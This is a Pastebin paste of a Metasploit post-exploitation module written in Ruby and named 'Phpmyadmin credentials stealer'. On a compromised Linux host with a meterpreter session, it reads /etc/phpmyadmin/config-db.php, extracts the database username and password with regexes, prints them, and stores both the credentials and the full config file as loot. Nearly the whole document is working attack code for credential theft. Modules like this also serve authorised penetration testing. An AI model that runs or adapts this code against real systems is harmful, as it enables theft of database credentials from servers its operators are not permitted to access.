Advertisement
Guest User

Untitled

a guest
Oct 23rd, 2018
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.99 KB | None | 0 0
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. class MetasploitModule < Msf::Post
  7.  
  8. include Msf::Post::File
  9. include Msf::Post::Linux::Priv
  10. include Msf::Post::Linux::System
  11.  
  12. def initialize(info={})
  13. super(update_info(info,
  14. 'Name' => "Phpmyadmin credentials stealer",
  15. 'Description' => %q{
  16. This module gathers Phpmyadmin creds from target linux machine.
  17. },
  18. 'License' => MSF_LICENSE,
  19. 'Platform' => ['linux'],
  20. 'SessionTypes' => ['meterpreter'],
  21. 'Author' => [
  22. 'Chaitanya Haritash [bofheaded]',
  23. 'Dhiraj Mishra <dhiraj@notsosecure.com>'
  24. ]
  25. ))
  26. end
  27.  
  28. def parse_creds(contents)
  29. db_user = contents.scan(/\$dbuser\s*=\s*['"](.*)['"];/).flatten.first
  30. db_pass = contents.scan(/\$dbpass\s*=\s*['"](.*)['"];/).flatten.first
  31.  
  32. unless db_user && db_pass
  33. print_error("Couldn't find PhpMyAdmin credentials")
  34. return
  35. end
  36.  
  37. print_good("User: #{db_user}")
  38. print_good("Password: #{db_pass}")
  39.  
  40. print_status("Storing credentials...")
  41. store_valid_credential(user: db_user, private: db_pass)
  42. end
  43.  
  44. def run
  45. print_line("\nPhpMyAdmin Creds Stealer!\n")
  46.  
  47. if session.platform.include?("windows")
  48. print_error("This module is not compatible with windows")
  49. return
  50. end
  51.  
  52. conf_path = "/etc/phpmyadmin/config-db.php"
  53. unless file_exist?(conf_path)
  54. print_error("#{conf_path} doesn't exist on target")
  55. return
  56. end
  57.  
  58. print_good('PhpMyAdmin config found!')
  59. res = read_file(conf_path)
  60. unless res
  61. print_error("You may not have permissions to read the file.")
  62. return
  63. end
  64.  
  65. print_good("Extracting creds")
  66. parse_creds(res)
  67.  
  68. p = store_loot('phpmyadmin_conf', 'text/plain', session, res, 'phpmyadmin_conf.txt', 'phpmyadmin_conf')
  69. print_good("Config file located at #{p}")
  70. end
  71. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement